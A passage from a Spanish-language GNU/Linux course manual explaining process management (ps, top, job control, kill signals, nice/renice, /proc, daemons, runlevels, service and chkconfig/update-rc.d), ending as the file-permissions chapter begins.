memoria, archivos y E/S además de otros recursos. También utiliza esta información para
determinar como cambiar a otro proceso.
A veces los procesos son referidos como tarea (task). GNU/Linux es un sistema operativo
multitarea, lo cual da la impresión o ilusión de que muchos procesos se ejecutan
simultáneos. El kernel se encarga de que los procesos se dividan el tiempo del CPU en
partes pequeñas, llamados ciclos y automáticamente cambia de un proceso a otro. Este
cambio es denominado “Cambio de Contexto”. Linux implementa “multitarea con derecho
preferente”, lo que simplemente significa que el kernel no necesita ninguna
colaboración del programa para llevarlo a cabo, si no que el simplemente forza un
cambio de contexto cuando el lo considere necesario.

0.1 Manejo de procesos


Una vez que el equipo se ha encendido se ejecutan los programas, cada programa es
conocido como proceso. Para conocer los procesos de un sistemas basta con teclear el
comando "ps aux", se sorprenderá de la cantidad de procesos que su computadora
realiza!! y todo esos procesos deben son manejados por el kernel. El kernel les indica
los espacios de memoria (RAM y swap) y las propiedades con las que pueden acceder a
ellos. Cada proceso requiere ciertos ciclos de reloj (CDR), del procesador. Todos los
procesos comparten los CDR de manera ordenada porque el kernel les indica en que orden
deben tomar los CDR que les corresponden.

[jortega@firewall ~]$ ps aux

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 1948 736 ? Ss 10:58 0:02 /sbin/init
root 2 0.0 0.0 0 0 ? S< 10:58 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S< 10:58 0:00 [migration/0]
root 4 0.0 0.0 0 0 ? S< 10:58 0:00 [ksoftirqd/0]
root 5 0.0 0.0 0 0 ? S< 10:58 0:00 [watchdog/0]
root 6 0.0 0.0 0 0 ? S< 10:58 0:00 [migration/1]

Diplomado de GNU/Linux
88
Fundación Código Libre Dominicano
http://www.codigolibre.org

root 7 0.0 0.0 0 0 ? S< 10:58 0:00 [ksoftirqd/1]


root 8 0.0 0.0 0 0 ? S< 10:58 0:00 [watchdog/1]

0.2 Creando procesos


Un nuevo proceso es generado regularmente cada vez que se arranca un programa. Incluso,
los comandos del shell (Ej.: cd, ls,...) generan un proceso nuevo, pero inmediatamente
termina la ejecución así también termina el proceso. Si conectas varios comandos
utilizando las tuberías del shell, cada segmento de la tubería (cada comando) es
ejecutado en procesos separados.
Puedes utilizar el comando exec para así requerir del kernel que no genere un nuevo
proceso para este programa que vas a ejecutar. Típicamente el comando exec reemplaza la
imagen del proceso existente con una nueva imagen. Consideremos este ejemplo:
[jortega@firewall ~]$ exec vi

Y vera como cuando al salir de vi su terminal también se cerrara.

En contra-parte a este comando, tenemos el comando “nohup” que definimos a


continuación.
El nohup es un comando de los históricos de UNIX. Cuando en un terminal físico
(terminal serie), virtual (xterm, konsole, putty, telnet, ssh, etc.), o en la consola
cerramos la sesión (cerrando la ventana si estamos en un entorno gráfico, con el
comando exit, o pulsando Control+D en la shell), el proceso que gestiona dicho terminal
(getty, mgetty, sshd, telnetd, etc.) manda una señal SIGHUP a los procesos que cuelgan
bajo ellos, normalmente, la shell, y en Linux, típicamente bash. Tal y como podemos
leer en la página de man de bash, la shell, a su vez, manda dicha señal a todos los
procesos que cuelgan bajo ella y, de hecho, incluso los despierta si están parados.

Ante la señal SIGHUP normalmente todos los procesos reaccionan simplemente saliendo,
lo cual es un problema si queremos que nuestro programa siga ejecutándose en el sistema
una vez que hayamos dejado la shell. Para evitar que esto ocurra, tradicionalmente se
ha usado el comando nohup.

Nohup es un comando POSIX que ignora la señal HUP(colgar), permitiendo al comando,


seguir funcionando después de que el usuario ha cerrado la sesión. La señal
HUP(colgar), por convención, es la forma en como un terminal advierte a los procesos,
el cierre de sesión.

Nohup a menudo se utiliza para ejecutar comandos en background (daemons). La salida que
normalmente mostraría la terminal va a un archivo llamado “nohup.out” si es que no
redirecciona a otro lado.

Nohup, en resumen, ignora la señal de cuelgue a la hora de cerrar el terminal que lo


ejecuta. Otra forma de decir esto es que este comando hace al programa independiente de
la terminal que lo ejecuta.
Un ejemplo es como sigue:
zxguitar@zxlaptop:~$ nohup comando

0.3 Comando ps
El comando ps despliega información de una selección activa de procesos, ejemplo:

Diplomado de GNU/Linux
89
Fundación Código Libre Dominicano
http://www.codigolibre.org

[jortega@firewall ~]$ ps

PID TTY TIME CMD


19007 pts/1 00:00:00 bash
19145 pts/1 00:00:00 ps

Para ver información mas detallada sobre los estados de los procesos puedes usar “ps
-ef” o “ps aux”

[jortega@firewall ~]$ ps aux

USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 1948 736 ? Ss 10:58 0:02 /sbin/init
root 2 0.0 0.0 0 0 ? S< 10:58 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S< 10:58 0:01 [migration/0]
root 4 0.0 0.0 0 0 ? S< 10:58 0:01 [ksoftirqd/0]
root 5 0.0 0.0 0 0 ? S< 10:58 0:00 [watchdog/0]

[jortega@firewall ~]$ ps -ef

UID PID PPID C STIME TTY TIME CMD


root 1 0 0 10:58 ? 00:00:02 /sbin/init
root 2 0 0 10:58 ? 00:00:00 [kthreadd]
root 3 2 0 10:58 ? 00:00:01 [migration/0]
root 4 2 0 10:58 ? 00:00:01 [ksoftirqd/0]
root 5 2 0 10:58 ? 00:00:00 [watchdog/0]
root 6 2 0 10:58 ? 00:00:00 [migration/1]
root 7 2 0 10:58 ? 00:00:01 [ksoftirqd/1]
root 8 2 0 10:58 ? 00:00:00 [watchdog/1]

Muestra todo los proceso de un usuario.


[deivy@deivy ~]$ ps -U usuario

PID TTY TIME CMD


2020 ? 00:00:00 gnome-keyring-d
2027 ? 00:00:00 gnome-session
2037 ? 00:00:00 dbus-launch
2038 ? 00:00:00 dbus-daemon

Imprime por pantalla todo los demonios en ejecución.


[deivy@deivy ~]$ ps -t ?

PID TTY TIME CMD


1 ? 00:00:01 init
2 ? 00:00:00 kthreadd

0.4 Comando top


El comando top es muy parecido al comando ps, ambos despliegan los procesos
ejecutándose en el sistema pero con la diferencia de que el comando top los muestra de
manera dinámica y permite enviarle señales a dichos procesos, si ejecutamos top desde
el terminal tendremos una salida a la siguiente pero con la información constantemente

Diplomado de GNU/Linux
90
Fundación Código Libre Dominicano
http://www.codigolibre.org

refrescada de manera dinámica.

top - 11:47:22 up 48 min, 2 users, load average: 0.26, 0.34, 0.36


Tasks: 158 total, 3 running, 155 sleeping, 0 stopped, 0 zombie
Cpu(s): 8.6%us, 3.2%sy, 0.0%ni, 87.9%id, 0.2%wa, 0.2%hi, 0.0%si, 0.0%st
Mem: 2065480k total, 1584752k used, 480728k free, 130436k buffers
Swap: 2104472k total, 0k used, 2104472k free, 731444k cached

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND


2693 root 20 0 625m 283m 11m S 12.6 14.0 3:22.04 Xorg
3313 jortega 20 0 242m 83m 28m S 4.0 4.1 1:40.15 banshee-1
7212 jortega 20 0 74820 12m 7328 S 4.0 0.6 0:17.80 npviewer.bin
6992 jortega 20 0 101m 23m 12m S 1.7 1.2 0:01.97 gnome-terminal

Para visualizar la línea de comando completa de cada proceso con el comando top, lo
hacemos de la siguiente manera:
[deivy@deivy ~]$ top -c

0.5 Estado de los procesos


Los comandos ps y top despliegan la siguiente información del estado de los procesos:

R Running Ejecutándose
S Sleeping Durmiendo
T Terminating Terminando
D Device I/O Dispositivo E/S
Z Zombie Zombis

Los procesos en el estado de ejecutándose o se encuentran en ejecución en el CPU o


están a punto de iniciar a correr en el CPU desde que exista la disponibilidad de
acceso. Durmiendo es el estado en cual un proceso cae cuando esta en espera de que un
evento suceda para el despertar y entonces continuar procesando.

Casi siempre espera por un tipo de operación de E/S. Un proceso detenido es un proceso
que ha sido suspendido por el usuario. Un proceso en el estado D (Dispositivo E/S) no
puede ser interrumpido; el kernel esta ocupado gestionando algún tipo de proceso de
Entrada/Salida. Este estado D es muy particular tal vez la única vez que se le enfrente
es en un problema de network accediendo un volumen de NFS.
Un proceso zombie suele suceder cuando un proceso hijo termina y el proceso padre sigue
manteniendo información de este y no le ha informado al kernel que este ya esta
“muerto” y hasta que el proceso padre no informa esto entonces el proceso hijo no puede
ser removido, es así como nace un proceso zombie.

0.6 CTRL+z, bg, fg y &


Hay ciertas combinaciones de teclas, comandos y caracteres especiales que nos permiten
tener control de trabajos (jobs) sobre nuestros sistemas GNU/Linux, algunos ejemplos de
estos serian:

CTRL+z
Con esta combinación de teclas podemos enviar un proceso a background en estado de
“stopped” (detenido), sería una forma como de “minimizar” una ventana, hasta que sea

Diplomado de GNU/Linux
91
Fundación Código Libre Dominicano
http://www.codigolibre.org

solicitado por nosotros (maximizar la ventana) que vuelva al foreground de nuevo a


continuar con su ejecución.
[jortega@firewall ~]$ su -c 'updatedb'

se presiona la combinación de teclas CTRL+z justamente después de ejecutar el comando


anterior y veremos algo parecido a lo siguiente:
^Z
[1]+ Stopped su -c 'updatedb'

Podemos ver como el estado del comando “su -c updatedb ” esta en stopped, si queremos
traer ese comando al foreground (frente) para que este continué su ejecución en estado
de “running” (corriendo) pues entonces ejecutamos el comando fg y veremos como el
proceso vuelve al frente a terminar su ejecución.
[jortega@firewall ~]$ fg %1

Mas sin embargo, si lo que queremos es que este continué en background pero
ejecutándose, entonces se utilizaría el comando bg seguido por signo de “%” mas su “job
number” para que este empiece a ejecutarse en background. (El job number de este seria
el numero entre los corchetes).
[jortega@firewall ~]$ bg %1
[1]+ su -c 'updatedb' &

El caracter & sirve para cuando ejecutes un programa enviarlo de inmediato a background
o en otras palabras, iniciarlo minimizado. Esto nos permitiría seguir usando ese shell
donde se ejecutó ese comando.

0.7 Comando jobs


Si ejecutamos el comando jobs podremos verificar como el estado del proceso paso ahora
de ser stopped a running.
[jortega@firewall ~]$ jobs
[1]+ Running su -c 'updatedb' &

Mas por el contrario, si queremos empezar un comando (proceso) y que este se vaya a
background y mientras este en background queremos que este corriendo podemos usar el
metacaracter & para hacer todo esto de la siguiente manera, ejemplo:
[root@firewall ~]# updatedb &

0.8 Enviando señales con kill


Muy por el contrario de los que muchas piensan, el comando kill no se usa para “matar”
procesos, es solo una de las funciones que hace. Kill se usa es para enviarle señales a
procesos, siendo señal de matar solo una de las que esta hace, para ver todas las
posibles señales que se pueden enviar con el comando kill usamos la opción -l, ejemplo:
[jortega@firewall ~]# kill -l

Devolviéndonos esto un total de 64 señales que podemos enviar con kill, donde las que
usaremos por ahora solo para mostrar algunos ejemplos serán las señales -1 (SIGHUP), -9
(SIGKILL) y -15 (SIGTERM).
Solemos usar kill -1 para que un demonio vuelva a leer su archivo de configuración,
supongamos que queremos reiniciar el demonio de ssh para que este vuelva a releer su
archivo de configuración y así cargar algunos cambios que hemos hecho, podemos hacerlo

Diplomado de GNU/Linux
92
Fundación Código Libre Dominicano
http://www.codigolibre.org

de la siguiente manera.
Averiguamos el PID del demonio con:
[jortega@firewall ~]$ pidof sshd
4674

Y seguido de esto solo tenemos que enviarle la señal necesaria para poder reiniciar
este demonio con:
[jortega@firewall ~]$ su -c 'kill -1 4674'

Si creemos que nuestro servicio de ssh esta funcionando de manera extraña y queremos
matarlo de manera forzosa pues podemos hacerlo con la opción -9 de kill (SIGKILL) para
hacer esto.
[jortega@firewall ~]$ su -c 'kill -9 4674'

En caso de que en vez de matarlo forzosamente queremos solo intentar matarlo si se


puede pues usaríamos la opción -15 de kill (SIGTERM).
[jortega@firewall ~]$ su -c 'kill -15 4674'

Detengamos el proceso de manera temporal con kill.


[deivy@deivy ~]$ kill -STOP 2990 “PDI del proceso”

Ahora vamos a decirle al proceso que continué su ejecución.


[deivy@deivy ~]$ kill -CONT 2990 “PDI del proceso”

0.9 Cambiando prioridad con nice/renice


GNU/Linux tiene niveles de prioridades para los procesos, estos niveles de prioridad
van desde -20 hasta 20, donde la mayoría de los procesos generalmente esta corriendo
con una prioridad de 0.
Es bueno mencionar que la prioridad mientras mas baja es mayor y mientras mas alta es
menor. En otras palabras el numero “-20” es menor que “20”, por lo tanto una proceso
que tenga la prioridad de “-20”, realmente tiene mayor prioridad aunque numéricamente
sea menor.
La prioridad de un proceso la podemos ver de varias maneras, una de ellas ejecutando el
comando TOP y buscando la columna NI y la otra es ejecutando el comando “ps -efl” y
buscando la misma columna NI.
La prioridad por defecto de nice, si no se especifica es 10. Puedes hacer que un
comando inicie con cierta prioridad en vez que de el kernel le asigne una de manera
dinámica, para hacer esto los hacemos de la siguiente manera.
Iniciando vi con una prioridad de 15.
[jortega@firewall ~]$ nice -15 vi &

También es valido usar nice de la siguiente manera y obtenemos un resultado igual:


zxguitar@zxlaptop:~$ nice -n 15 vi &

Seguido de esto si se entra a top y busca la linea correspondiente a vi podrá ver que
en la columna NI vi tiene un 10, o sea, esta corriendo con una prioridad de 10, si
hubieras querido que vi hubiera tenido un -15 en vez de 15 entonces hubieras hecho:
[jortega@firewall ~]$ su -c 'nice --15 vi &'

Esto también lo podemos ejecutar de la siguiente manera como en el caso anterior:


zxguitar@zxlaptop:~$ su -c 'nice -n -15 vi &'

Diplomado de GNU/Linux
93
Fundación Código Libre Dominicano
http://www.codigolibre.org

En el caso de renice, es un comando que va de la mano con nice, ya que en el primer


caso iniciamos procesos con una prioridad especifica, pero si deseamos cambiar la
prioridad de un proceso que ya se esta ejecutando, seria un poco cuesta arriba,
detenerlo y luego iniciarlo nuevamente con la prioridad deseada.

Para estos casos tenemos esta herramienta renice.

Incrementa la prioridad de un proceso que tenia una prioridad de 15 a 1, en este caso


el numero de ID de proceso (PID) es 123.
zxguitar@zxlaptop:~$ renice +1 123

Incrementa la prioridad de un proceso, con ID de 123. (Solo root puede asignar


prioridad por debajo de 0).
zxguitar@zxlaptop:~$ renice -1 123

Igual que los casos anteriores, pero estamos modificando la prioridad de 2 procesos al
mismo tiempo, el PID 123 y el PID 200.
zxguitar@zxlaptop:~$ renice +1 -p 123 -p 200

Modifica la prioridad de todos los procesos que son poseídos por el usuario “fmateo”.
zxguitar@zxlaptop:~$ renice +1 -u fmateo

Modifica la prioridad de todos los procesos que pertenecen a un grupo en específico


(backup).
zxguitar@zxlaptop:~$ renice +1 -g backup

0.10 Procesos en /proc


El sistema de archivos /proc es una ventana para que podamos observar el funcionamiento
del kernel en memoria ya que es un sistema de archivos virtual. Utilizándolo, uno puede
extraer valiosísima información sobre los procesos ejecutándose en el sistema. En el
directorio /proc existen muchos subdirectorios “enumerados” correspondiente a cada PID
en el sistema. Estos son creados cada vez que se ejecuta un nuevo proceso. Dentro de
estos directorios enumerados se encuentran archivos y directorios que nos dan
información acerca del proceso.

En GNU/Linux, todo se guarda en archivos. La mayoría de usuarios están familiarizados


con los dos primeros tipos de archivos, de texto y binarios. Sin embargo, el directorio
/proc/ contiene otro tipo de archivos llamado archivo virtual. Por esta razón, es que a
menudo se hace referencia a /proc/ como un sistema de archivos virtual.
Estos archivos virtuales poseen cualidades únicas. En primer lugar, la mayoría de ellos
tienen un tamaño de 0 bytes (esto lo puede comprobar ejecutado “du -sh /proc” que es un
comando para medir el tamaño en disco un folder o archivo). Sin embargo, cuando se
visualiza el archivo, éste puede contener una gran cantidad de información. Además, la
mayoría de configuraciones del tiempo y las fechas reflejan el tiempo y fecha real, lo
que es un indicativo de que están siendo constantemente modificados.

Los archivos virtuales tales como /proc/interrupts, /proc/meminfo, /proc/mounts, y


/proc/partitions proporcionan una vista rápida actualizada del hardware del sistema.
Otros, como /proc/filesystems y el directorio /proc/sys/, proveen información de

Diplomado de GNU/Linux
94
Fundación Código Libre Dominicano
http://www.codigolibre.org

configuración del sistema e interfaces.


Para propósitos organizativos, los archivos que contienen información sobre un tópico
similar se agrupan en directorios virtuales y sub-directorios. Por ejemplo, /proc/ide/
contiene información sobre los dispositivos IDE. De la misma forma, los directorios de
procesos contienen información sobre cada proceso ejecutándose en el sistema.

Algunos otros archivos interesantes son:


/proc/apm: Provee información sobre "Advanced Power Management", si es que esta
instalado.

/proc/acpi: Un directorio similar al anterior que ofrece bastantes datos sobre el más
moderno ACPI (Advanced Configuration and Power Interface). Por jemplo, para ver si tu
laptop está conectada a la corriente AC, puedes usar cat /proc/acpi/ac_adapter/AC/state
o en algunas distros cat /proc/acpi/ac_adapter/ACAD/state, y así obtendrás "on line" o
"off line".

/proc/cmdline: Muestra los parámetros que fueron pasados al kernel al momento del
arranque (boot time). En mi caso contiene lo siguiente: root=/dev/disk/by-id/scsi-
SATA_FUJITSU_MHS2040_NLA5T3314DW3-part3 vga=0x317 resume=/dev/sda2 splash=silent
PROFILE=QuintaWiFi, que me dice que en que partición está la raíz del filesystem, que
modo VGA está en uso y más. El último parámetro tiene que ver con openSUSE's System
Configuration Profile Management.

/proc/cpuinfo: Muestra datos sobre el procesador de tu equipo. Por ejemplo, en mi


laptop, cat /proc/cpuinfo me da un listado que comienza con:
processor : 0
vendor_id : AuthenticAMD
cpu family : 6
model : 8
model name : Mobile AMD Athlon(tm) XP 2200+
stepping : 1
cpu MHz : 927.549
cache size : 256 KB
Esto muestra que solo tengo un procesador, marcado como 0 de la familia 80686 (El '6'
en la familia de cpu es dígito medio): un AMD Athlon XP, corriendo a poco menos de
1GHZ.

/proc/loadavg: Un archivo relacionado al anterior que muestra la carga promedio del


procesador; su información incluye el uso de CPU en el último minuto, últimos cinco
minutos y últimos 15 minutos, asi como el número de procesos actuales ejecutándose.

/proc/stat: También proporciona estadísticas, pero tomando en cuenta el último boot


(arranque).

/proc/uptime: Un archivo pequeño que solo tiene dos números: por cuantos segundos tu
sistema ha estado encendido, y cuantos segundos ha estado inactivo.

/proc/devices: Despliega todos los dispositivos actuales configurados y cargados de


caracter y bloque. /proc/ide y /proc/scsi proveen datos sobre dispositivos IDE y SCSI.

/proc/ioports: Te muestra información sobre las regiones usadas para comunicaciones de

Diplomado de GNU/Linux
95
Fundación Código Libre Dominicano
http://www.codigolibre.org

E/S (I/O) de esos dispositivos.

/proc/dma: Muestra los canales "Direct Memory Access" en uso.

/proc/filesystems: Muestra cuáles tipos de sistemas de archivos (filesystems) están


soportados por tu kernel. Una porción de esto puede lucir como esto:
nodev sysfs
nodev rootfs
nodev bdev
nodev proc
nodev cpuset
...some lines snipped...
nodev ramfs
nodev hugetlbfs
nodev mqueue
ext3
nodev usbfs
ext2
nodev autofs
La primera columna muestra si el sistema de archivos está montado en un dispositivo de
bloques. En mi caso, tengo particiones configuradas con ext2 y ext3.

/proc/mounts: Muestra todos los "mounts" usados por tu máquina (la salida es muy
similar a /etc/mtab). Similarmente, /proc/partititons y /proc/swaps muestra todas las
particiones y el espacio swap respectivamente.

/proc/fs: Si estás exportando sistemas de archivos con NFS, este directorio tiene entre
sus muchos subdirectorios y archivos a /proc/fs/nfsd/exports, que muestra los sistemas
de archivos que están siendo compartidos y sus permisos.

/proc/net: No hay nada mejor que esto para información de red. Describir cada archivo
en este directorio requeriría demasiado espacio, pero incluye dev (todos los
dispositivos de red), varios archivos relacionados al firewall iptables, estadísticas
de red y sockets, información sobre wireless y más.

Podemos cambiar ciertos archivos que están en /proc y ver como sus cambios son
reflejados automáticamente en el sistema, ejemplo:

Si queremos el domain name (nombre de dominio) de nuestro equipo podemos hacerlo de la


siguiente manera:
Verificamos nuestro nombre de dominio
[jortega@firewall ~]$ domainname
(none)

Y fíjate que devuelve (none), o sea, ninguno, para cambiarlo en /proc podemos hacerlo
de la siguiente manera:
Verificamos nuestro domainname en /proc
[jortega@firewall ~]$ cat /proc/sys/kernel/domainname
(none)

Diplomado de GNU/Linux
96
Fundación Código Libre Dominicano
http://www.codigolibre.org

Lo cambiamos con:
[jortega@firewall ~]$ su -c 'echo "fcld.local" > /proc/sys/kernel/domainname'

Verificamos de nuevo
[jortega@firewall ~]$ cat /proc/sys/kernel/domainname
fcld.local

Verificamos con domainname


[jortega@firewall ~]$ domainname
fcld.local

0.11 Demonios
Daemons son procesos que dan soporte a servicios del sistema. Normalmente ellos se
inician al tiempo de arranque y la entrada de modo multiusuario y se detienen cuando el
sistema se apaga. Un atributo clave de un proceso Daemons es que no es parte de un
terminal esto se puede comprobar con el comando ps el cual te listar una marca de
pregunta en la columna TTY. Esto implica que el Daemons no recibe señales asociadas con
el terminal. Típicamente los procesos que reciben una señal SIGTERM cuando la terminal
se apagan. En el caso de los Daemons tal cosa no puede pasar.

Para ver todos los demonios que tenemos en el sistema podemos ejecutar el siguiente
comando:
[jortega@firewall ~]$ service --status-all

0.12 Runlevels
El kernel ejecuta init al arrancar. Este programa, ahora como proceso, cargará los
subprocesos necesarios para la puesta en marcha del sistema. Cuando init ha terminado
de cargarse vacía el subdirectorio /tmp y lanza getty que se encarga de permitir hacer
login en el sistema a los usuarios.

Los niveles de ejecución (runlevel), definidos en el archivo /etc/inittab (en Ubuntu es


/etc/init/rc-sysinit.conf) determinan los servicios que tendremos disponibles en cada
uno de ellos. Es una forma de tener diferentes modos de trabajo, cada uno de ellos con
características bien definidas, en función del tipo de tarea a que estén orientados.
Existen ocho niveles de ejecución, que están numerados del cero al seis, más otro
denominado con la letra “S” (tiene un alias con la letra “s”, que realmente es igual a
el no 1). Los niveles de ejecución de ejecución que manejaremos y una descripción de
para qué están definidos se puede ver en la siguiente tabla:

Nivel de ejecución Modo


0 Detener el sistema
1 Mono usuario, sin soporte de red, Mantenimiento
2 Multiusuario, sin soporte de red, Poco sistemas lo usan
3 Modo multiusuario completo
4 Sin uso. Recomendado para pruebas
5 Modo X11; Multiusuario completo en entorno gráfico
6 Reiniciar el sistema
s/S Nivel Usuario Único
a/b/c Pseudo Estados (Casi nunca usado)

Diplomado de GNU/Linux
97
Fundación Código Libre Dominicano
http://www.codigolibre.org

Cada uno de estos niveles de ejecución tiene un directorio donde se encuentran los
servicios o demonios que inician cuando son ejecutados. Un nivel de ejecución es un
mecanismo para proporcionar distintas configuraciones del equipo y se implementa
mediante el uso de árboles de scripts de inicio, almacenados en directorios llamados
/etc/rc1.d, /etc/rc2.d, etc. Esta característica es implementada típicamente de forma
muy simple, por lo que usted debe modelar sus entradas en el archivo basándose en otras
del mismo, o bien consultar la documentación de su sistema para obtener más
información.

0.13 init
Init es el proceso padre de todos los demás procesos, si ejecutamos pstree -np | less
podremos ver que el primer procesos que esta arriba y con el PID de 1 es init seguido
luego de todo un árbol de procesos que se desprende de el, pero init también es un
comando que nos podemos cambiarnos de los runlevels ya antes mencionados, ejemplo:
Para cambiar al runlevel 3 con el comando init lo hacemos de la siguiente manera:
[jortega@firewall ~]$ su -c "init 3"

Podemos verificar en que runlevel estamos actualmente con:


[jortega@firewall ~]$ runlevel

Pudiendo luego de esto volver a subir a nuestro runlevel por defecto (generalmente el
5) con
[jortega@firewall ~]$ su -c "init 5"

0.14 Comando service


Con el comando service podemos iniciar, parar, reiniciar y ver el estados de
determinados demonios, ejemplos:
Para ver iniciar el demonio de ssh podemos hacerlo de la siguiente forma:
[jortega@firewall ~]$ su -c 'service sshd start'

Para detenerlo podemos hacer


[jortega@firewall ~]$ su -c 'service sshd stop'

Para ver su estatus podemos hacer


[jortega@firewall ~]$ su -c 'service sshd status'

Y por ultimo para reiniciarlo podemos hacer:


[jortega@firewall ~]$ su -c 'service sshd restart'

0.15 chkconfig
El comando chkconfig se usar para podemos indicarle a los demonios en que runlevels
deben correr y en cuales no.
Hay herramientas que hacen esto con ventanas ncurses y puede resultar mas fácil, una de
ellas es “ntsysv”. Te permite hacer esto de una forma “gráfica” en el shell, aunque no
puedes elegir los runlevels que deseas, solamente activar y desactivar.

Ejemplos:
Para ver una lista de todos los demonios y de cuales runlevels tienen habilitados
podemos ejecutar:
[jortega@firewall ~]$ chkconfig --list

Diplomado de GNU/Linux
98
Fundación Código Libre Dominicano
http://www.codigolibre.org

Lo cual nos devolverá algo parecido a:


NetworkManager 0:off 1:off 2:on 3:on 4:on 5:on 6:off
acpid 0:off 1:off 2:on 3:on 4:on 5:on 6:off
anacron 0:off 1:off 2:on 3:on 4:on 5:on 6:off
apmd 0:off 1:off 2:on 3:on 4:on 5:on 6:off
arpwatch 0:off 1:off 2:off 3:off 4:off 5:off 6:off

Donde cada demonio es una linea y cada demonio tiene sus runlevels enumerados del 0 a 6
y cada numero dice al lado si esta on (encendido, si va a correr en ese runlevel) o si
esta off (apagado, si no va a correr en ese runlevel)
Ejemplo, si queremos hacer que ssh corra en los runlevels 2, 3, 4, 5 (chkconfig hace
que los demonios corran por defecto en estos runlevels) podemos hacerlo de la siguiente
manera.

Ver el listado de los servicios del sistema.


[root@deivy ~]# chkconfig --list

Subamos el sshd los niveles 2,3 y 5.


[root@deivy ~]# chkconfig --level 235 sshd on

Verifiquemos que lo anterior sea realizado con éxito.


[root@deivy ~]# chkconfig --list sshd

Bajemos el sshd los niveles 2,3 y 5.


[root@deivy ~]# chkconfig --level 235 sshd on

Verifiquemos que lo anterior sea realizado con éxito.


[root@deivy ~]# chkconfig --list sshd

Virifica que el servicio cups este el la lista de servicios de chkconfig.


[root@deivy ~]# chkconfig --list cups

Si este servicio se encuentra el la lista de servicios, elimínalo.


[root@deivy ~]# chkconfig --del cups

Verifiquemos que lo anterior sea realizado con éxito.


[root@deivy ~]# chkconfig --list cups

0.16 Invoke-rc.d
La contra-parte del comando service para Debian y demás distribuciones basadas en esta
es el comando invoke-rc.d y tiene las mismas opciones que el comando service, ejemplo:
Si queremos detener el demonio de ssh con el comando invoke-rc.d en Debian y demás
distribuciones basadas en esta lo hacemos de la siguiente manera:
[jortega@firewall ~]$ sudo invoke-rc.d ssh stop

Si queremos iniciarlo seria con:


[jortega@firewall ~]$ sudo invoke-rc.d ssh start

Si queremos reiniciarlo seria con:


[jortega@firewall ~]$ sudo invoke-rc.d ssh restart

Diplomado de GNU/Linux
99
Fundación Código Libre Dominicano
http://www.codigolibre.org

0.17 update-rc.d
El comando update-rc.d es la contra-parte del comando “chkconfig” pero en
Debian/Ubuntu. Este comando sirve para indicarle a los demonios o servicios, en que
runlevel deben correr y en cuales no.
Hay herramientas que hacen esto con ventanas ncurses y puede resultar mas fácil, una de
ellas es “rcconf”. También hay otra herramienta, mas completa que permite que
personalicemos mas, esta es “sysv-rc-conf”. Estas herramientas te permiten realizar
estas tareas administrativas de una forma “gráfica” en el shell.

root@zxlaptop:~# update-rc.d samba defaults


Este comando crea enlaces que inician samba en los runlevels 2345 y enlaces que lo
terminan en los runlevels 016 con la prioridad 20.

Equivale a:
root@zxlaptop:~# update-rc.d samba start 20 2 3 4 5 stop 20 0 1 6

Otro ejemplo:
root@zxlaptop:~# update-rc.d samba defaults 91
Que significa esto?
update-rc.d = La aplicación o comando que maneja los runlevels (Niveles de ejecución).
samba = el servicio o script que quiero ejecutar, el mismo debe existir en el
directorio /etc/init.d/samba.

defaults = Esto le dice al comando update-rc.d que queremos que el servicio samba
inicie cuando la maquina inicie y que termine cuando la maquina se apague.

91 = es la prioridad en la que debe ejecutarse el script o servicio. La escala de la


prioridad va desde uno a cien (1 – 100). Elegimos 91 porque deseamos que se ejecute
casi al final de la secuencia de booteo.

Tenemos otro caso. Si deseamos que el servicio no inicie en lo absoluto, podemos


hacerlo de la siguiente manera:
root@zxlaptop:~# update-rc.d samba remove

Si deseamos que no solamente el servicio no inicie, sino que los scripts de inicio del
servicio sean eliminados (están en /etc/init.d/) lo hacemos de esta forma.
root@zxlaptop:~# update-rc.d -f samba remove

0.18 Practica administración Capitulo 0.

1.0 Sistema de Archivos y Permisos


El sistema de archivo de linux, como ya se ha tratado, posee una estructura de
almacenamiento jerárquica. La estructura de árbol es ilimitada en profundidad y ancho,
lo que facilita la extensibilidad. Existe mucha confusión en el uso del termino
‘filesystem’, pues es comúnmente utilizado para expresar dos conceptos distintos. La
jerarquía de archivo y directorios que usamos para organizar data en un sistema y el
Sistema de archivos es formato que el kernel usa para almacenar data en medios
físicos, como son los discos (‘tipos de sistemas de archivos’).

Al ser GNU/Linux un clon de UNIX y un sistema multiusuario, para que se puedan proteger

Diplomado de GNU/Linux
100
Fundación Código Libre Dominicano
http://www.codigolibre.org

los archivos se estableció un mecanismo por el cual se le pueden otorgar permisos a un


determinado usuario o grupo. Esto permite, por ejemplo, que si existe un archivo creado
por un usuario en particular, este será propiedad del usuario y también tendrá el grupo
del usuario. Se permite que los archivos sean compartidos entre usuarios y grupos de
usuarios.

Los permisos están divididos en tres tipos: Lectura, escritura y ejecución (rwx). Estos
permisos pueden estar fijados para tres clases de usuario: el propietario del
archivo(owner), el grupo al que pertenece el archivo(grupo) y para todo el resto de los
usuarios(others).

1.1 Sistema de archivos


Los Sistemas de Archivos definen la estructura de los discos. Los discos en si se
esconden del usuario. Todo acceso a los archivos es a través de la estructura de
directorios y los permisos se utilizan para controlar acceso al sistema. Discos pueden
ser formateados con diferentes sistemas de archivos y deben ser montados en la
estructura de directorios para poder ser accedidos. Un disco o una partición puede ser
montada en cualquier directorio; este directorio es entonces referido como el punto de
montaje.

1.2 Tipos de sistemas de archivos


Los sistemas de archivos tienen un tipo asociados con ellos. Los tipos soportados por
un sistema Linux dependen de los que fueron compilados dentro del kernel en particular.
Aunque Linux soporta un gran numero de sistemas de archivos a veces no fueron
compilados en el kernel por cuestión de ahorro de recursos. En práctica, las mayoría de
sistemas solo implementan los sistemas de archivos mas comunes.

Un tipo de sistema de archivos define la estructura de data en el disco. Linux soporta


muchos tipo de sistemas de archivos, es costumbre que un distro soporte doce o mas
tipos de sistema de archivos. El estándar en todos los sistemas Linux es hoy día la
Ext3 la cual recientemente reemplazo la Ext2. Todas las distros incluyen soporte para
Microsoft VFAT, FAT, FAT32 y NTFS (excepción de RedHat, aunque el kernel puede ser
recompilado para soportarlo) además de OS/2 y NFS. Los sistemas de archivos en linux se
diferencian uno de otros principalmente por el manejo de inodos y en la implementación
del Journal (implementado por el ReiserFS, ext3, ext4 entre otros).

1.3 Permisos de archivos y directorios (chmod,chown,chgrp)


Permisos de archivos
